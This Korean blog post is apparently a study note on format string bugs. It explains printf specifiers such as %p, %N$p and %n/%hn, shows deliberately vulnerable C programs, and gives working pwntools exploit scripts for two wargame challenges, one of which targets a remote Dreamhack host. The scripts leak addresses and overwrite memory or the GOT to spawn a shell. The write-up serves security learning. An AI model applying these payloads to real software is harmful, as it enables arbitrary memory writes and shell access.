TIL: Format String Bug

Format String

printf와 같은 함수들은 format string을 이용해 다양한 형태로 값을 출력한다.

이 함수들은 Format string을 채울 값들을 registerstack에서 가져오는데, format string이 필요로 하는 argument의 개수와 함수에 전달된 argument의 개수를 비교하지 않는다. → 만약 사용자가 format string을 작성할 수 있다면 더 많은 argument를 요청해서 register, stack의 값을 읽어내거나 쓸 수 있다.

Format string의 구성

%[parameter][flags][width][.precision][length]type

  • type

    형식 지정자 설명
    d 부호있는 10진수 정수
    s 문자열
    x 부호없는 16진수 정수
    n 인자에 현재까지 사용된 문자열의 길이를 저장
    p void형 포인터
  • width

    너비 지정자 설명
    정수 정수의 값만큼을 최소 너비로 지정합니다.
    * 인자의 값 만큼을 최소 너비로 지정합니다.
  • parameter : 참조할 argument의 index를 지정한다. 이 필드의 끝은 $로 표기한다. index의 범위를 전달된 argument의 개수와 비교하지 않는다.

Format String Bug

https://jiravvit.tistory.com/entry/FSB-Format-String-Bug

https://jiravvit.tistory.com/entry/64bit에서-FSB-Format-String-Bug-이해하기-1

Format string을 사용자가 입력할 수 있을 때, register와 stack을 읽을 수 있고, 임의 주소에 대한 읽기 및 쓰기가 가능하다.

#include <stdio.h>

int main() {
  char format[0x100];

  scanf("%[^\n]", format);
  printf(format);
  return 0;
}

위와 같이 사용자에게 임의의 format string을 입력받아 printf(format)을 실행하는 코드를 생각해보자.

%p - Reading register & stack

Format string으로 %p %p %p %p %p %p %p %p %p %p %p를 줬다면 이 format string은 10개의 argument를 요구하므로, 총 10개의 주소에 들어있는 값들을 출력하게 된다.

64 bit machine에서는 x64의 calling convention을 고려했을 때 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20]이 출력될 것이다.

마찬가지로 32 bit machine에서는 [esp+0x4], [esp+0x8], [esp+0xc], [esp+0x10], …의 값이 출력될 것이다.

참고로 %p는 32 bit machine에서는 4 byte, 64 bit machine에서는 8 byte를 출력한다.

%[N]$p - 임의 주소 read하기

읽고자 하는 target address가 해당 machine의 calling convention 상 두 번째 argument의 위치와 얼마나 차이가 나는지(offset)N이라고 했을 때, %[N]$p를 사용해서 해당 주소를 읽어낼 수 있다.

예를 들어, 64 bit machine에서 [rsp+0x10]을 읽고 싶다면 %8$p를 작성하면 된다. 또한 32 bit machine에서는 %4$p를 작성하면 된다.

%n, %hn, %hhn - 임의 주소 write하기

%n4 byte에, %hn2 byte에, %hhn1 byte에 자신의 전까지 출력된 문자의 개수를 지정된 변수에 10진수 형식으로 작성한다. 이를 이용해 원하는 변수에 원하는 값을 넣을 수 있다.

#include <stdio.h>

int main(void) {
  int val = 0x11111111;
  printf("%4660c%n", 'a', &val); // 4660 == 0x1234
  printf("\n");
  printf("val: %p\n", val);
}

%c를 이용해 원하는 값만큼 문자를 출력할 수 있다. 따라서 위와 같이 코드를 실행하면 val의 값은 0x1234가 된다.

굉장히 큰 값, 예를 들어 0x77778888 정도의 값을 특정 변수에 넣고 싶을 땐, 아래와 같이 exploit code를 작성해서는 안된다:

payload += p32(val)
payload += '%{}c'.format(0x77778888 - 4)
payload += '%7$n'

0x77778888은 십진수로 나타내면 약 20억으로, 20억이 넘는 문자들을 출력해야 원하는 동작을 실행할 수 있는데, 이는 시간이 매우 오래 걸려 불가능하다. 따라서 이런 경우에는 %hn을 이용해 값을 두 번에 걸쳐서 나누어 담아야 한다.

32 bit machine 환경이라 가정했을 때, p32(val)에는 0x8888을, p32(val + 2)에는 0x7777을 저장해야한다.

payload = p32(val) # off 7
payload += p32(val + 2) # off 8
payload += '%{}c'.format(0x8888 - 8)
payload += '%7$hn'
payload += '%{}c'.format(0x10000 + 0x7777 - 0x8888)
payload += '%8$hn'
  • '%{}c'.format(0x8888 - 8) : 앞에 작성한 두 주소 val, val + 2의 길이 만큼을 빼주어야 정확히 0x8888의 값이 메모리에 들어간다.
  • '%[]c'.format(0x10000 + 0x7777 - 0x8888) : 앞에 작성한 0x8888 byte만큼을 빼주고 0x7777 byte만큼을 출력해야 val에 0x7777을 입력할 수 있는데, 0x8888이 0x7777보다 크므로 대신 0x17777만큼을 출력한다. → 2 byte만큼 값이 잘리므로 0x7777만큼의 값만이 메모리에 들어간다.

Format string에서 주소의 위치, alignment

32 bit machine을 exploit할 때에는 format string에 주소를 제일 앞에 적고, 그 뒤에 %p, %n과 같은 format 문자들을 집어넣는다. 반면에, 64 bit machine을 exploit할 때에는 주소를 format string의 마지막에 적는다.

64 bit에서는 주소가 3 byte이기 때문에, 8 byte만큼 data를 넣었을 때 나머지 5 byte가 NULL이 된다. 이때 printf는 NULL까지만 문자열을 출력하기 때문에 주소를 맨 앞에 넣었을 경우 주소 뒤에 있는 format 문자들이 실행되지 않는 문제점이 생기게 된다. → 따라서 주소를 마지막에 적는다.

주소를 format string의 마지막에 넣더라도 입력한 모든 값이 출력되지 않는다는 사실은 변하지 않지만, 우리의 주 목적은 %{}c, %hn과 같은 format 문자를 실행하는 것이기 때문에 출력이 제대로 되지 않는 것은 상관이 없다.

64 bit machine을 exploit할 때에는 주소를 뒤에 적어주기 때문에 신경써줘야 할 점이 하나 더 있는데, 바로 주소를 입력할 때 8 byte alignment를 지켜주는 것이다.

payload = ''
payload += '%{}c'.format(0xabcd)
payload += '%11$hn'
payload += '%{}c'.format(0x10000 + 0x4321 - 0xabcd)
payload += '%12$hn'
payload += '%{}c'.format(0x8765 - 0x4321)
payload += '%13$hn'
payload += 'A'
payload += p64(check)
payload += p64(check + 2)
payload += p64(check + 4)

위와 같이 payload를 작성한다고 했을 때, 주소 바로 앞의 ‘A’ 문자를 입력하지 않을 경우 주소가 한 byte씩 밀려 엉뚱한 주소가 입력되기 때문에 Segmentation fault가 발생하게 된다. 따라서 항상 주소의 alignment를 지켜주기 위해 dummy 문자를 입력해야 하지는 않는지 확인하자.

또한 주소가 몇 번째 argument 부분에 위치하게 되는지도 debugger를 이용해 확인하거나, 글자수를 직접 세서 확인해야 한다. 주소가 format string의 마지막에 위치하므로, format string이 길어질 수록 주소의 offset이 커지게 된다.

Example Problem: fsb_overwrite

문제의 소스 코드는 아래와 같다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}
int changeme;
int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

Vulnerability Scanning

  • checksec

    • FULL RELRO, PIE가 활성화되어 있다.
  • printf(buf)에서 fsb가 발생한다. 또한 이 부분이 무한 루프로 감싸져 있으므로 여러 번 버그를 활용할 수 있다.
  • fsb를 이용해 changeme를 1337로 변경하면 shell을 획득할 수 있다.

changeme의 주소 구하기

changeme의 값을 fsb를 통해 변경하려면 changeme의 주소를 우선 얻어야 한다. PIE가 적용되어 있으므로 code base를 우선 구하고, 그 값으로부터 changeme의 주소를 구한다.

gdb를 이용해 printf가 실행될 시점의 stack의 구성을 확인해보자.

[stack+0x10]__libc_csu_init의 주소가 저장되어 있으므로 이를 활용해 code base를 구할 수 있다!

FSB payload 구성하기

changeme의 값을 1337로 변경하는 payload를 작성해보자.

우선 기본적인 구성은 ‘%1337c + %[N]$n + changeme의 주소’일 것이다.

이때 앞서 언급했듯이 changeme의 주소가 제대로 align되어야 하므로 changeme의 주소 바로 앞에 dummy character를 집어넣어야 한다. [N]이 한 글자라고 가정했을 때 changeme의 주소까지의 글자 수가 10글자이므로, 8 byte씩 align되도록 하기 위해 총 6개의 dummy character를 집어넣는다. 이럴 경우 payload는 ‘%1337c + %[N]$n + AAAAAA + changeme의 주소’가 된다.

changeme의 주소 직전까지의 글자 수가 총 16글자이므로 changeme의 주소는 [rsp+0x10]에 위치하게 된다. 따라서 N은 8이다.

최종적인 payload는 ‘%1337c + %8$n + AAAAAA + changeme의 주소’가 된다.

Exploit

from pwn import *

p = process("./fsb")
e = ELF("./fsb")

p.sendline("%8$p")
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - e.symbols["__libc_csu_init"]
changeme = code_base + e.symbols["changeme"]

payload = "%1337c" + "%8$n" + "AAAAAA"
payload = payload.encode() + p64(changeme)

p.sendline(payload)
p.interactive()
  • 앞서 언급한 방식으로 code base를 구한 뒤, changeme의 주소도 구한다.
  • FSB payload를 작성할 때 address를 제외한 부분은 string 형식으로 적은 뒤 payload.encode()와 같이 string을 byte로 바꿔주는 과정을 거쳐야 한다.

Wargame: basic_exploitation_002

문제의 소스 코드는 아래와 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

Vulnerability Scanning

  • checksec

  • 사용자가 임의로 입력한 buf를 이용해 print(buf)를 실행하므로 fsb가 발생할 수 있다.
  • get_shell()을 실행하면 shell을 획득할 수 있다.

Exploit

main이 return하지 않고 exit(0)을 실행하기 때문에 return address는 overwrite할 수 없다. 하지만 Partial RELRO가 적용되어 있어 exit의 GOT를 overwrite할 수 있으므로, fsb를 이용해 exit의 GOT를 get_shell의 주소로 overwrite하면 된다.

from pwn import *

#p = process("./basic_exploitation_002")
p = remote("host3.dreamhack.games", 12532)
#gdb.attach(p)
e = ELF("./basic_exploitation_002")

get_shell = 0x08048609
exit_got = 0x804a024

payload = p32(exit_got)
payload += p32(exit_got + 2)

s = "%{}c".format(0x8609 - 8)
s += "%1$hn"
s += "%{}c".format(0x0804 - 0x8609 + 0x10000)
s += "%2$hn"

payload += s.encode()

p.sendline(payload)

p.interactive()
  • get_shell의 주소와 exit의 got의 주소는 gdb를 이용해 얻는다.
  • get_shell의 주소가 0x08048609로 큰 값이므로 두 byte씩 끊어서 %hn을 이용해 메모리에 작성한다.

다른 사람의 풀이

from pwn import *

x = process('./basic_exploitation_002')
x = remote('host1.dreamhack.games', 8202)
e = ELF('./basic_exploitation_002')

payload = fmtstr_payload(1, {e.got['exit'] : e.symbols['get_shell']})
x.send(payload)

x.interactive()

pwn의 fmtstr_payload 함수를 활용하면 쉽게 payload를 작성할 수 있었다.

Categories: ,

Updated:

Leave a comment